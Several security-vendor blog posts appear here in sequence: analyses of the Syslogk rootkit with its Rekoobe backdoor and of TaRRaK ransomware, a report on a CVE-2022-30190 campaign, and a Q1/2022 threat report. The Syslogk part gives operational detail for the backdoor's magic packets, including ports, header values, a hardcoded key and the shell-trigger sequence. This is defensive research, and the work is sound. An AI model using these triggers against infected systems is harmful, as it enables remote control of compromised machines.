Rootkits are dangerous pieces of malware. Once in place, they are usually really hard to detect. Their code is typically more challenging to write than other malware, so developers resort to code reuse from open source projects. As rootkits are very interesting to analyze, we are always looking out for these kinds of samples in the wild.
Adore-Ng is a relatively old, open-source, well-known kernel rootkit for Linux, which initially targeted kernel 2.x but is currently updated to target kernel 3.x. It enables hiding processes, files, and even the kernel module, making it harder to detect. It also allows authenticated user-mode processes to interact with the rootkit to control it, allowing the attacker to hide many custom malicious artifacts by using a single rootkit.
In early 2022, we were analyzing a rootkit mostly based on Adore-Ng that we found in the wild, apparently under development. After obtaining the sample, we examined the .modinfo section and noticed it is compiled for a specific kernel version.
As you may know, even if it is possible to ‘force load’ the module into the kernel by using the --force flag of the insmod Linux command, this operation can fail if the required symbols are not found in the kernel; this can often lead to a system crash.
insmod -f {module}
We discovered that the kernel module could be successfully loaded without forcing into a default Centos 6.10 distribution, as the rootkit we found is compiled for a similar kernel version.
While looking at the file’s strings, we quickly identified the PgSD93ql hardcoded file name in the kernel rootkit to reference the payload. This payload file name is likely used to make it less obvious for the sysadmin, for instance, it can look like a legitimate PostgreSQL file.
Using this hardcoded file name, we extracted the file hidden by the rootkit. It is a compiled backdoor trojan written in C programming language; Avast’s antivirus engine detects and classifies this file as ELF:Rekoob – which is widely known as the Rekoobe malware family. Rekoobe is a piece of code implanted in legitimate servers. In this case it is embedded in a fake SMTP server, which spawns a shell when it receives a specially crafted command. In this post, we refer to this rootkit as Syslogk rootkit, due to how it ‘reveals’ itself when specially crafted data is written to the file /proc/syslogk .
Analyzing the Syslogk rootkit
The Syslogk rootkit is heavily based on Adore-Ng but incorporates new functionalities making the user-mode application and the kernel rootkit hard to detect.
Loading the kernel module
To load the rootkit into kernel space, it is necessary to approximately match the kernel version used for compiling; it does not have to be strictly the same.
For example, we were able to load the rootkit without any effort in a Centos 6.10 virtual machine by using the insmod Linux command.
After loading it, you will notice that the malicious driver does not appear in the list of loaded kernel modules when using the lsmod command.
Revealing the rootkit
The rootkit has a hide_module function which uses the list_del function of the kernel API to remove the module from the linked list of kernel modules. Next, it also accordingly updates its internal module_hidden flag.
Fortunately, the rootkit has a functionality implemented in the proc_write function that exposes an interface in the /proc file system which reveals the rootkit when the value 1 is written into the file /proc/syslogk.
Once the rootkit is revealed, it is possible to remove it from memory using the rmmod Linux command. The Files section of this post has additional details that will be useful for programmatically uncloaking the rootkit.
Overview of the Syslogk rootkit features
Apart from hiding itself, making itself harder to detect when implanted, Syslogk can completely hide the malicious payload by taking the following actions:
The hk_proc_readdir function of the rootkit hides directories containing malicious files, effectively hiding them from the operating system.
The malicious processes are hidden via hk_getpr – a mix of Adore-Ng functions for hiding processes.
The malicious payload is hidden from tools like Netstat; when running, it will not appear in the list of services. For this purpose, the rootkit uses the function hk_t4_seq_show.
The malicious payload is not continuously running. The attacker remotely executes it on demand when a specially crafted TCP packet (details below) is sent to the infected machine, which inspects the traffic by installing a netfilter hook.
It is also possible for the attacker to remotely stop the payload. This requires using a hardcoded key in the rootkit and knowledge of some fields of the magic packet used for remotely starting the payload.
We observed that the Syslogk rootkit (and Rekoobe payload) perfectly align when used covertly in conjunction with a fake SMTP server. Consider how stealthy this could be; a backdoor that does not load until some magic packets are sent to the machine. When queried, it appears to be a legitimate service hidden in memory, hidden on disk, remotely ‘magically’ executed, hidden on the network. Even if it is found during a network port scan, it still seems to be a legitimate SMTP server.
For compromising the operating system and placing the mentioned hiding functions, Syslogk uses the already known set_addr_rw and set_addr_ro rootkit functions, which adds or removes writing permissions to the Page Table Entry (PTE) structure.
After adding writing permissions to the PTE, the rootkit can hook the functions declared in the hks internal rootkit structure.
PTE Hooks
Type of the function
Offset
Name of the function
Original
hks+(0x38) * 0
proc_root_readdir
Hook
hks+(0x38) * 0 + 0x10
hk_proc_readdir
Original
hks+(0x38) * 1
tcp4_seq_show
Hook
hks+(0x38) * 1 + 0x10
hk_t4_seq_show
Original
hks+(0x38) * 2
sys_getpriority
Hook
hks+(0x38) * 2 + 0x10
hk_getpr
The mechanism for placing the hooks consists of identifying the hookable kernel symbols via /proc/kallsyms as implemented in the get_symbol_address function of the rootkit (code reused from this repository). After getting the address of the symbol, the Syslogk rootkit uses the udis86 project for hooking the function.
Understanding the directory hiding mechanism
The Virtual File System (VFS) is an abstraction layer that allows for FS-like operation over something that is typically not a traditional FS. As it is the entry point for all the File System queries, it is a good candidate for the rootkits to hook.
It is not surprising that the Syslogk rootkit hooks the VFS functions for hiding the Rekoobe payload stored in the file /etc/rc-Zobk0jpi/PgSD93ql .
The hook is done by hk_root_readdir which calls to nw_root_filldir where the directory filtering takes place.
As you can see, any directory containing the substring -Zobk0jpi will be hidden.
The function hk_get_vfs opens the root of the file system by using filp_open. This kernel function returns a pointer to the structure file, which contains a file_operations structure called f_op that finally stores the readdir function hooked via hk_root_readdir.
Of course, this feature is not new at all. You can check the source code of Adore-Ng and see how it is implemented on your own.
Understanding the process hiding mechanism
In the following screenshot, you can see that the Syslogk rootkit (code at the right margin of the screenshot) is prepared for hiding a process called PgSD93ql. Therefore, the rootkit seems more straightforward than the original version (see Adore-Ng at the left margin of the screenshot). Furthermore, the process to hide can be selected after authenticating with the rootkit.
The Syslogk rootkit function hk_getpr explained above, is a mix of adore_find_task and should_be_hidden functions but it uses the same mechanism for hiding processes.
Understanding the network traffic hiding mechanism
The Adore-Ng rootkit allows hiding a given set of listening services from Linux programs like Netstat. It uses the exported proc_net structure to change the tcp4_seq_show( ) handler, which is invoked by the kernel when Netstat queries for listening connections. Within the adore_tcp4_seq_show() function, strnstr( ) is used to look in seq->buf for a substring that contains the hexadecimal representation of the port it is trying to hide. If this is found, the string is deleted.
In this way, the backdoor will not appear when listing the connections in an infected machine. The following section describes other interesting capabilities of this rootkit.
Understanding the magic packets
Instead of continuously running the payload, it is remotely started or stopped on demand by sending specially crafted network traffic packets.
These are known as magic packets because they have a special format and special powers. In this implementation, an attacker can trigger actions without having a listening port in the infected machine such that the commands are, in some way, ‘magically’ executed in the system.
Starting the Rekoobe payload
The magic packet inspected by the Syslogkrootkit for starting the Rekoobe fake SMTP server is straightforward. First, it checks whether the packet is a TCP packet and, in that case, it also checks the source port, which is expected to be 59318.
Rekobee will be executed by the rootkit if the magic packet fits the mentioned criteria.
Of course, before executing the fake service, the rootkit terminates all existing instances of the program by calling the rootkit function pkill_clone_0. This function contains the hardcoded process name PgSD93ql; it only kills the Rekoobe process by sending the KILL signal via send_sig.
The Files section of this post demonstrates how to manually craft (using Python) the TCP magic packet for starting the Rekoobe payload.
In the next section we describe a more complex form of the magic packet.
Stopping the Rekoobe payload
Since the attacker doesn’t want any other person in the network to be able to kill Rekoobe, the magic packet for killing Rekoobe must match some fields in the previous magic packet used for starting Rekoobe. Additionally, the packet must satisfy additional requirements – it must contain a key that is hardcoded in the rootkit and located in a variable offset of the magic packet. The conditions that are checked:
It checks a flag enabled when the rootkit executes Rekoobe via magic packets. It will only continue if the flag is enabled.
It checks the Reserved field of the TCP header to see that it is 0x08.
The Source Port must be between 63400 and 63411 inclusive.
Both the Destination Port and the Source Address, must to be the same that were used when sending the magic packet for starting Rekoobe.
Finally, it looks for the hardcoded key. In this case, it is: D9sd87JMaij
The offset of the hardcoded key is also set in the packet and not in a hardcoded offset; it is calculated instead. To be more precise, it is set in the data offset byte (TCP header) such that after shifting the byte 4 bits to the right and multiplying it by 4, it points to the offset of where the Key is expected to be (as shown in the following screenshot, notice that the rootkit compares the Key in reverse order).
In our experiments, we used the value 0x50 for the data offset (TCP header) because after shifting it 4 bits, you get 5 which multiplied by 4 is equal to 20. Since 20 is precisely the size of the TCP Header, by using this value, we were able to put the key at the start of the data section of the packet.
If you are curious about how we implemented this magic packet from scratch, then please see the Files section of this blog post.
Analyzing Rekoobe
When the infected machine receives the appropriate magic packet, the rootkit starts the hidden Rekoobe malware in user mode space.
It looks like an innocent SMTP server, but there is a backdoor command on it that can be executed when handling the starttls command. In a legitimate service, this command is sent by the client to the server to advise that it wants to start TLS negotiation.
For triggering the Rekoobe backdoor command (spawning a shell), the attacker must send the byte 0x03 via TLS, followed by a Tag Length Value (TLV) encoded data. Here, the tag is the symbol %, the length is specified in four numeric characters, and the value (notice that the length and value are arbitrary but can not be zero).
Additionally, to establish the TLS connection, you will need the certificate embedded in Rekoobe.
See the Files section below for the certificate and a Python script we developed to connect with Rekoobe.
The origin of Rekoobe payload and Syslogk rootkit
Rekoobe is clearly based on the TinySHell open source project; this is based on ordering observed in character and variables assignment taking place in the same order multiple times.
On the other hand, if you take a look at the Syslogk rootkit, even if it is new, you will notice that there are also references to TinySHell dating back to December 13, 2018.
The evidence suggests that the threat actor developed Rekoobe and Syslogk to run them together. We are pleased to say that our users are protected and hope that this research assists others.
Conclusions
One of the architectural advantages of security software is that it usually has components running in different privilege levels; malware running on less-privileged levels cannot easily interfere with processes running on higher privilege levels, thus allowing more straightforward dealing with malware.
On the other hand, kernel rootkits can be hard to detect and remove because these pieces of malware run in a privileged layer. This is why it is essential for system administrators and security companies to be aware of this kind of malware and write protections for their users as soon as possible.
The TaRRaK ransomware appeared in June of 2021. This ransomware contains many coding errors, so we decided to publish a small blog about them. Samples of this ransomware were spotted in our user base, so we also created a decryptor for this ransomware.
The ransomware is written in .NET. The binary is very clean and contains no protections or obfuscations. When executed, the sample creates a mutex named TaRRaK in order to ensure that only one instance of the malware is executed. Also, an auto-start registry entry is created in order to execute the ransomware on every user login:
The ransomware contains a list of 178 file types (extensions) that, when found, are encrypted:
3ds 7z 7zip acc accdb ai aif apk asc asm asf asp aspx avi backup bak bat bin bmp c cdr cer cfg cmd cpp crt crw cs csproj css csv cue db db3 dbf dcr dds der dmg dng doc docm docx dotx dwg dxf dxg eps epub erf flac flv gif gpg h html ico img iso java jpe jpeg jpg js json kdc key kml kmz litesql log lua m3u m4a m4u m4v max mdb mdf mef mid mkv mov mp3 mp4 mpa mpeg mpg mrw nef nrw obj odb odc odm odp ods odt orf p12 p7b p7c part pdb pdd pdf pef pem pfx php plist png ppt pptm pptx ps ps1 psd pst ptx pub pri py pyc r3d raf rar raw rb rm rtf rwl sav sh sln suo sql sqlite sqlite3 sqlitedb sr2 srf srt srw svg swf tga thm tif tiff tmp torrent txt vbs vcf vlf vmx vmdk vdi vob wav wma wmi wmv wpd wps x3f xlk xlm xls xlsb xlsm xlsx xml zip
The ransomware avoids folders containing one the following strings:
All Users\Microsoft\
$Recycle.Bin
:\Windows
\Program Files
Temporary Internet Files
\Local\Microsoft\
:\ProgramData\
Encrypted files are given a new extension .TaRRaK. They also contain the TaRRaK signature at the beginning of the encrypted file:
File Encryption
Implementation of the encryption is a nice example of a buggy code:
First, the ransomware attempts to read the entire file to memory using File.ReadAllBytes(). This function has an internal limit – a maximum of 2 GB of data can be loaded. In case the file is larger, the function throws an exception, which is then handled by the try-catch block. Unfortunately, the try-catch block only handles a permission-denied condition. So it adds an ACL entry granting full access to everyone and retries the read data operation. In case of any other error (read failure, sharing violation, out of memory, read from an offline file), the exception is raised again and the ransomware is stuck in an infinite loop.
Even if the data load operation succeeds and the file data can be fit in memory, there’s another catch. The Encrypt function converts the array of bytes to an array of 32-bit integers:
So it allocates another block of memory with the same size as the file size. It then performs an encryption operation, using a custom encryption algorithm. Encrypted Uint32 array is converted to another array of bytes and written to the file. So in addition to the memory allocation for the original file data, two extra blocks are allocated. If any of the memory allocations fails, it throws an exception and the ransomware is again stuck in an infinite loop.
In the rare case when the encryption process finishes (no sharing violation or another error), the ransom note file named Encrypted Files by TaRRaK.txt is dropped to the root folder of each drive:
Files with the .TaRRaK extension are associated with their own icon:
Finally, desktop wallpaper is set to the following bitmap:
How to use the Avast decryptor to decrypt files encrypted by TaRRaK Ransomware
To decrypt your files, follow these steps:
You must be logged to the same user account like the one under which the files were encrypted.
Download the free Avast decryptor for 32-bit or 64-bit Windows.
Run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
On the initial page, you can read the license information, if you want, but you really only need to click “Next”
On the next page, select the list of locations you want to be searched and decrypted. By default, it contains a list of all local drives:
On the final page, you can opt-in to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes decrypting all of your files.
Our threat hunters have been busy searching for abuse of the recently-released zero-day remote code execution bug in Microsoft Office (CVE-2022-30190). As part of their investigations, they found evidence of a threat actor hosting malicious payloads on what appears to be an Australian VOIP telecommunications provider with a presence in the South Pacific nation of Palau.
Further analysis indicated that targets in Palau were sent malicious documents that, when opened, exploited this vulnerability, causing victim computers to contact the provider’s website, download and execute the malware, and subsequently become infected.
Key Observations
This threat was a complex multi-stage operation utilizing LOLBAS (Living off the Land Binaries And Scripts), which allowed the attacker to initialize the attack using the CVE-2022-30190 vulnerability within the Microsoft Support Diagnostic Tool. This vulnerability enables threat actors to run malicious code without the user downloading an executable to their machine which might be detected by endpoint detection.
Multiple stages of this malware were signed with a legitimate company certificate to add additional legitimacy and minimize the chance of detection.
First stage
The compromised website, as pictured in the screenshot below, was used to host robots.txt which is an executable which was disguised as “robots.txt”. We believe the name was used to conceal itself from detection if found in network logs. Using the Diagnostics Troubleshooting Wizard (msdt.exe), this file “robots.txt” was downloaded and saved as the file (Sihost.exe) and then executed.
Second Stage, Sihost.exe
When the renamed “robots.txt” – “Sihost.exe” – was executed by msdt.exe it downloaded the second stage of the attack which was a loader with the hash b63fbf80351b3480c62a6a5158334ec8e91fecd057f6c19e4b4dd3febaa9d447. This executable was then used to download and decrypt the third stage of the attack, an encrypted file stored as ‘favicon.svg’ on the same web server.
Third stage, favicon.svg
After this file has been decrypted, it is used to download the fourth stage of the attack from palau.voipstelecom.com[.]au. These files are named Sevntx64.exe and Sevntx.lnk, which are then executed on the victims’ machine.
Fourth Stage, Sevntx64.exe and Sevntx64.lnk
When the file is executed, it loads a 66kb shellcode from the AsyncRat malware family; Sevntx64.exe is signed with the same compromised certificate as seen previously in “robots.txt”.
The screenshot below shows the executable loading the shellcode.
Final Stage, AsyncRat
When the executable is loaded, the machine has been fully compromised with AsyncRat; the trojan is configured to communicate with the server palau[.]voipstelecom[.]com[.]au on port 443.
We highly recommend Avast Software to protect against the latest threats, and Microsoft patches to protect your Windows systems from the latest CVE-2022-30190 vulnerability.
The first quarter of 2022 is over, so we are here again to share insights into the threat landscape and what we’ve seen in the wild. Under normal circumstances, I would probably highlight mobile spyware related to the Beijing 2022 Winter Olympics, yet another critical Java vulnerability (Spring4Shell), or perhaps how long it took malware authors to get back from their Winter holidays to their regular operations. Unfortunately, however, all of this was overshadowed by Russia’s war in Ukraine.
Similar to what’s happening in Ukraine, the warfare co-occurring in cyberspace is also very intensive, with a wide range of offensive arsenal in use. To name a few, we witnessed multiple Russia-attributed APT groups attacking Ukraine (using a series of wiping malware and ransomware, a massive uptick of Gamaredon APT toolkit activity, and satellite internet connections were disrupted). In addition, hacktivism, DDoS attacks on government sites, or data leaks are ongoing daily on all sides of the conflict. Furthermore, some of the malware authors and operators were directly affected by the war, such as the alleged death of the Raccoon Stealer leading developer, which resulted in (at least temporary) discontinuation of this particular threat. Additionally, some malware gangs have chosen the sides in this conflict and have started threatening the others. One such example is the Conti gang that promised ransomware retaliation for cyberattacks against Russia. You can find more details about this story in this report.
With all that said, it is hardly surprising to say that we’ve seen a significant increase of attacks of particular malware types in countries involved in this conflict in Q1/2022; for example, +50% of RAT attacks were blocked in Ukraine, Russia, and Belarus, +30% for botnets, and +20% for info stealers. To help the victims of these attacks, we developed and released multiple free ransomware decryption tools, including one for the HermeticRansom that we discovered in Ukraine just a few hours before the invasion started.
Out of the other malware-related Q1/2022 news: the groups behind Emotet and Trickbot appeared to be working closely together, resurrecting Trickbot infected computers by moving them under Emotet control and deprecating Trickbot afterward. Furthermore, this report describes massive info-stealing campaigns in Latin America, large adware campaigns in Japan, and technical support scams spreading in the US and Canada. Finally, again, the Lapsus$ hacking group emerged with breaches in big tech companies, including Microsoft, Nvidia, and Samsung, but hopefully also disappeared after multiple arrests of its members in March.
Last but not least, we’ve published our discovery of the latest Parrot Traffic Direction System (TDS) campaign that has emerged in recent months and is reaching users from around the world. This TDS has infected various web servers hosting more than 16,500 websites.
Stay safe and enjoy reading this report.
Jakub Křoustek, Malware Research Director
Methodology
This report is structured into two main sections – Desktop-related threats, informing about our intelligence on attacks targeting Windows, Linux, and macOS, and Mobile-related threats, where we advise about Android and iOS attacks.
Furthermore, we use the term risk ratio in this report to describe the severity of particular threats, calculated as a monthly average of “Number of attacked users / Number of active users in a given country.” Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month.
Desktop-Related Threats
Advanced Persistent Threats (APTs)
In March, we wrote about an APT campaign targeting betting companies in Taiwan, the Philippines, and Hong Kong that we called Operation Dragon Castling. The attacker, a Chinese-speaking group, leveraged two different ways to gain a foothold in the targeted devices – an infected installer sent in a phishing email and a newly identified vulnerability in the WPS Office updater (CVE-2022-24934). After successful infection, the malware used a diverse set of plugins to achieve privilege escalation, persistence, keylogging, and backdoor access.
Operation Dragon Castling: relations between the malicious files
Furthermore, on February 23rd, a day before Russia started its invasion of Ukraine, ESET tweeted that they discovered a new data wiper called HermeticWiper. The attacker’s motivation was to destroy and maximize damage to the infected system. It’s not just disrupting the MBR but also destroying a filesystem and individual files. Shortly after that, we at Avast discovered a related piece of ransomware that we called HermeticRansom. You can find more on this topic in the Ransomware section below. These attacks are believed to have been carried out by Russian APT groups.
Continuing this subject, Gamaredon is known as the most active Russia-backed APT group targeting Ukraine. We see the standard high level of activity of this APT group in Ukraine which accelerated rapidly since the beginning of the Russian invasion at the end of February when the number of their attacks grew several times over.
Gamaredon APT activity Q4/2021 vs. Q1/2022
Gamaredon APT targeting in Q1/22
We also noticed an increase in Korplug activity which expanded its focus from the more usual south Asian countries such as Myanmar, Vietnam, or Thailand to Papua New Guinea and Africa. The most affected African countries are Ghana, Uganda and Nigeria. As Korplug is commonly attributed to Chinese APT groups, this new expansion aligns with their long-term interest in countries involved in China’s Belt and Road initiative.
New Korplug detections in Africa and Papua New Guinea
Luigino Camastra, Malware Researcher Igor Morgenstern, Malware Researcher Jan Holman, Malware Researcher
Adware
Desktop adware has become more aggressive in Q4/21, and a similar trend persists in Q1/22, as the graph below illustrates:
On the other hand, there are some interesting phenomena in Q1/22. Firstly, Japan’s proportion of adware activity has increased significantly in February and March; see the graph below. There is also an interesting correlation with Emotet hitting Japanese inboxes in the same period.
On the contrary, the situation in Ukraine led to a decrease in the adware activity in March; see the graph below showing the adware activity in Ukraine in Q1/22.
Finally, another interesting observation concerns adware activity in major European countries such as France, Germany, and the United Kingdom. The graph below shows increased activity in these countries in March, deviating from the trend of Q1/22.
Concerning the top strains, most of 64% of adware was from various adware families. However, the first clearly identified family is RelevantKnowledge, although so far with a low prevalence (5%) but with a +97% increase compared to Q4/21. Other identified strains in percentage units are ICLoader, Neoreklami, DownloadAssistant, and Conduit.
As mentioned above, the adware activity has a similar trend as in Q4/21. Therefore the risk ratios remained the same. The most affected regions are still Africa and Asia. About Q1/22 data, we monitored an increase of protected users in Japan (+209%) and France (+87%) compared with Q4/21. On the other hand, a decrease was observed in the Russian Federation (-51%) and Ukraine (-50%).
Adware risk ratio in Q1/22.
Martin Chlumecký, Malware Researcher
Bots
It seems that we are on a rollercoaster with Emotet and Trickbot. Last year, we went through Emotet takedown and its resurrection via Trickbot. This quarter, shutdowns of Trickbot’s infrastructure and Conti’s internal communication leaks indicate that Trickbot has finished its swan song. Its developers were supposedly moved to other Conti projects, possibly also with BazarLoader as Conti’s new product. Emotet also introduced a few changes – we’ve seen a much higher cadence of new, unique configurations. We’ve also seen a new configuration timestamp in the log “20220404”, interestingly seen on 24th March, instead of the one we’ve been accustomed to seeing (“20211114”).
There has been a new-ish trend coming with the advent of the war in Ukraine. Simple Javascript code has been used to create requests to (mostly) Russian web pages – ranging from media to businesses to banks. The code was accompanied by a text denouncing Russian aggression in Ukraine in multiple languages. The code has quickly spread around the internet into different variations, such as a variant of open-sourced game 2048. Unfortunately, we’ve started to see webpages that incorporated that code without even declaring it so it could even happen that your computer would participate in those actions while you were checking the weather on the internet. While these could remind us of Anonymous DDoS operations and LOIC (open-source stress tool Low Orbit Ion Cannon), these pages were much more accessible to the public using their browser only with (mostly) predetermined lists of targets. Nearing the end of March, we saw a significant decline in their popularity, both in terms of prevalence and the appearance of new variants.
The rest of the landscape does not bring many surprises. We’ve seen a significant risk increase in Russia (~30%) and Ukraine (~15%); those shouldn’t be much of a surprise, though, for the latter, it mostly does not project much into the number of affected clients.
In terms of numbers, the most prevalent strain was Emotet which doubled its market share since last quarter. Since the previous quarter, most of the other top strains slightly declined their prevalence. The most common strains we are seeing are:
Emotet
Amadey
Phorpiex
MyloBot
Nitol
MyKings
Dorkbot
Tofsee
Qakbot
Adolf Středa, Malware Researcher
Coinminers
Coincidently, as the cryptocurrency prices are somewhat stable these days, the same goes for the malicious coinmining activity in our user base.
In comparison with the previous quarter, crypto-mining threat actors increased their focus on Taiwan (+69%), Chile (+63%), Thailand (+61%), Malawi (+58%), and France (+58%). This is mainly caused by the continuous and increasing trend of using various web miners executing javascript code in the victim’s browser. On the other hand, the risk of getting infected significantly dropped in Denmark (-56%) and Finland (-50%).
The most common coinminers in Q1/22 were:
XMRig
NeoScrypt
CoinBitMiner
CoinHelper
Jan Rubín, Malware Researcher
Information Stealers
The activities of Information Stealers haven’t significantly changed in Q1/22 compared to Q4/21. FormBook, AgentTesla, and RedLine remain the most prevalent stealers; in combination, they are accountable for 50% of the hits within the category.
Activity of Information Stealers in Q1/22.
We noticed the regional distribution has completely shifted compared to the previous quarter. In Q4/21, Singapore, Yemen, Turkey, and Serbia were the countries most affected by information stealers; in Q1/22, Russia, Brazil, and Argentina rose to the top tier after the increases in risk ratio by 27% (RU), 21% (BR), and 23% (AR) compared to the previous quarter.
Not only a popular destination for information stealers, Latin America also houses many regional-specific stealers capable of compromising victims’ banking accounts. As the underground hacking culture continues to develop in Brazil, these threat groups target their fellow citizens for financial purposes. In Brazil, Ousaban and Chaes pose the most significant threats with more than 100k and 70k hits. In Mexico in Q1/22, we observed more than 34k hits from Casbaneiro. A typical pattern shared between these groups is the multiple-stage delivery chain utilizing scripting languages to download and deploy the next stage’s payload while employing DLL sideloading techniques to execute the final stage.
Furthermore, Raccoon Stealer, an information stealer with Russian origins, significantly decreased in activity since March. Further investigation uncovered messages on Russian underground forums advising that the Raccoon group is not working anymore. A few days after the messages were posted, a Raccoon representative said one of their members died in the Ukrainian War – they have paused operations and plan to return in a few months with a new product.
Next, a macOS malware dubbed DazzleSpy was found using watering hole attacks targeting Chinese pro-democracy sympathizers; it was primarily active in Asia. This backdoor can control macOS remotely, execute arbitrary commands, and download and upload files to attackers, thus enabling keychain stealing, key-logging, and potential screen capture.
Last but not least, more malware that natively runs on M1 Apple chips (and Intel hardware) has been found. The malware family, SysJoker, targets all desktop platforms (Linux, Windows, and macOS); the backdoor is controlled remotely and allows downloading other payloads and executing remote commands.
Anh Ho, Malware Researcher Igor Morgenstern, Malware Researcher Vladimir Martyanov, Malware Researcher Vladimír Žalud, Malware Analyst
Ransomware
We’ve previously reported a decline in the total number of ransomware attacks in Q4/21. In Q1/22, this trend continued with a further slight decrease. As can be seen on the following graph, there was a drop at the beginning of 2022; the number of ransomware attacks has since stabilized.
We believe there are multiple reasons for these recent declines – such as the geopolitical situation (discussed shortly) and the continuation of the trend of ransomware gangs focusing more on targeted attacks on big targets (big game hunting) rather than on regular users via the spray and pray techniques. In other words, ransomware is still a significant threat, but the attackers have slightly changed their targets and tactics. As you will see in the rest of this section, the total numbers are lower, but there was a lot ongoing regarding ransomware in Q1.
Based on our telemetry, the distribution of targeted countries is similar to Q4/21 with some Q/Q shifts, such as Mexico (+120% risk ratio), Japan (+37%), and India (+34%).
The most (un)popular ransomware strains – STOP and WannaCry – kept their position at the top. Operators of the STOP ransomware keep releasing new variants, and the same applies for the CrySiS ransomware. In both cases, the ransomware code hasn’t considerably evolved, so a new variant merely means a new extension of encrypted files, different contact e-mail and a different public RSA key.
The most prevalent ransomware strains in Q1/22:
WannaCry
STOP
VirLock
GlobeImposter
Makop
Out of the groups primarily focused on targeted attacks, the most active ones based on our telemetry were LockBit, Conti, and Hive. The BlackCat (aka ALPHV) ransomware was also on the rise. The LockBit group boosted their presence and also their egos, as demonstrated by their claim that they will pay any FBI agent that reveals their location a bounty of $1M. Later, they expanded that offer to any person on the planet.
You may also recall Sodinokibi (aka REvil), which is regularly mentioned in our threat reports. There is always something interesting around this ransomware strain and its operators with ties to Russia. In our Q4/21 Threat Report we informed about the arrests of some of its operators by Russian authorities. Indeed, this resulted in Sodinokibi almost vanishing from the threat landscape in Q1/2022. However, the situation got messy at the very end of Q1/2022 and early in April as new Sodinokibi indicators started appearing, including the publishing of new leaks from ransomed companies and malware samples. It is not yet clear whether this is a comeback, an imposter operation, reused Sodinokibi sources or infrastructure, or even their combination by multiple groups. Our gut feeling is that Sodinokibi will be a topic in the Q2/22 Threat Report once again.
Russian ransomware affiliates are a never-ending story. E.g. we can mention an interesting public exposure of a criminal dubbed Wazawaka with ties to Babuk, DarkSide, and other ransomware gangs in February. In a series of drunk videos and tweets he revealed much more than his missing finger.
The Russian invasion and following war on Ukraine, the most terrible event in Q1/22, had its counterpart in cyber-space. Just one day before the invasion, several cyber attacks were detected. Shortly after the discovery of HermeticWiper malware by ESET, Avast also discovered ransomware attacking Ukrainian targets. We dubbed it HermeticRansom. Shortly after, a flaw in the ransomware was found by CrowdStrike analysts. We acted swiftly and released a free decryptor to help victims in Ukraine. Furthermore, the war impacted ransomware attacks, as some of the ransomware authors and affiliates are from Ukraine and likely have been unable to carry out their operations due to the war.
And the cyber-war went on, together with the real one. A day after the start of the invasion, the Conti ransomware gang claimed its allegiance and threatened anyone who was considering organizing a cyber-attack or war activities against Russia:
As a reaction, a Ukrainian researcher started publishing internal files of the Conti gang, including Jabber conversations and the source code of the Conti ransomware itself. However, no significant amount of encryption keys were leaked. Also, the sources that were published were older versions of the Conti ransomware, which no longer correspond to the layout of the encrypted files that are created by today’s version of the ransomware. The leaked files and internal communications provide valuable insight into this large cybercrime organization, and also temporarily slowed down their operations.
Among the other consequences of the Conti leak, the published source codes were soon used by the NB65 hacking group. This gang declared a karmic war on Russia and used one of the modified sources of the Conti ransomware to attack Russian targets.
Furthermore, in February, members of historically one of the most active (and successful) ransomware groups, Maze, announced a shut-down of their operation. They published master decryption keys for their ransomware strains Maze, Egregor, and Sekhmet; four archive files were published that contained:
30 private RSA-2048 keys (plus 9 from old version) for Maze ransomware. Maze also uses a three-key encryption scheme.
A single private RSA-2048 key for Sekhmet ransomware. Because this strain uses this RSA key to encrypt the per-file key, the RSA private key is likely campaign specific.
A source code for the M0yv x86/x64 file infector, that was used by Maze operators in the past.
Next, an unpleasant turn of events happened after we released a decryptor for the TargetCompany ransomware in February. This immediately helped multiple ransomware victims; however, two weeks later, we discovered a new variant of TargetComany that started using the ”.avast” extension for encrypted files. Shortly after, the malware authors changed the encryption algorithm, so our free decryption tool does not decrypt the most recent variant.
On the bright side, we also analyzed multiple variants of the Prometheus ransomware and released a free decryptor. This one covers all decryptable variants of the ransomware strain, even the latest ones.
Jakub Křoustek, Malware Research Director Ladislav Zezula, Malware Researcher
Remote Access Trojans (RATs)
New year, new me RAT campaigns. As mentioned in the Q4/21 report, the RAT activity downward trend will be just temporary; the reality was a textbook example of this claim. Even malicious actors took holidays at the beginning of the new year and then returned to work.
In the graph below, we can see a Q4/21 vs. Q1/22 comparison of RAT activity:
This quarter’s countries most affected were China, Tajikistan, Kyrgyzstan, Iraq, Kazakhstan, and Russia. Kazakhstan will be mentioned later on with the emergence of a new RAT. We also detected a high Q/Q increase in the risk ratio in countries involved in the ongoing war: Ukraine (+54%), Russia (+53%), and Belarus (+46%).
In this quarter, we spotted a new campaign distributing several RATs, reaching thousands of users, mainly in Italy (1,900), Romania (1,100), and Bulgaria (950). The campaign leverages a Crypter (a crypter is a specific tool used by malware authors for obfuscation and protection of the target payload), which we call Rattler, that ensures a distribution of arbitrary malware onto the victim’s PC. Currently, the crypter primarily distributes remote access trojans, focusing on Warzone, Remcos, and NetWire. Warzone’s main targeting campaigns also seemed to change during the past three months. In January and February, we received a considerable amount of detections from Russia and Ukraine. Still, this trend reversed in March, with decreased detections in these two countries and a significant increase in Spain, indicating a new malicious campaign.
Most prevalent RATs in Q1 were:
njRAT
Warzone
Remcos
AsyncRat
NanoCore
NetWire
QuasarRAT
PoisionIvy
Adwind
Orcus
Among malicious families with the highest increase in detections were Lilith, LuminosityLink, and Gh0stCringe. One of the reasons for the Gh0stCringe increase is a malicious campaign in which this RAT spread on poorly protected MySQL and Microsoft SQL database servers. We have also witnessed a change in the first two places of the most prevalent RATs. In Q4/21, the most pervasive was Warzone which declined this quarter by 23%. The njRat family, on the other hand, increased by 32%, and what was surprising, Adwind entered into the top 10.
Except for the usual malicious campaigns, this quarter was different. There were two significant causes for this. The first was a Lapsus$ hacking and leaking spree, and the other was the war with Ukraine.
The hacking group Lapsus$ targeted many prominent technology companies like Nvidia, Samsung, and Microsoft. For example, in the NVIDIA Lapsus$ case, this hacking group stole about 1TB of NVIDIA’s data and then commenced to leak it. The leaked data contained binary signing certificates, which were later used for signing malicious binaries. Among such signed malware was, for example, the Quasar RAT.
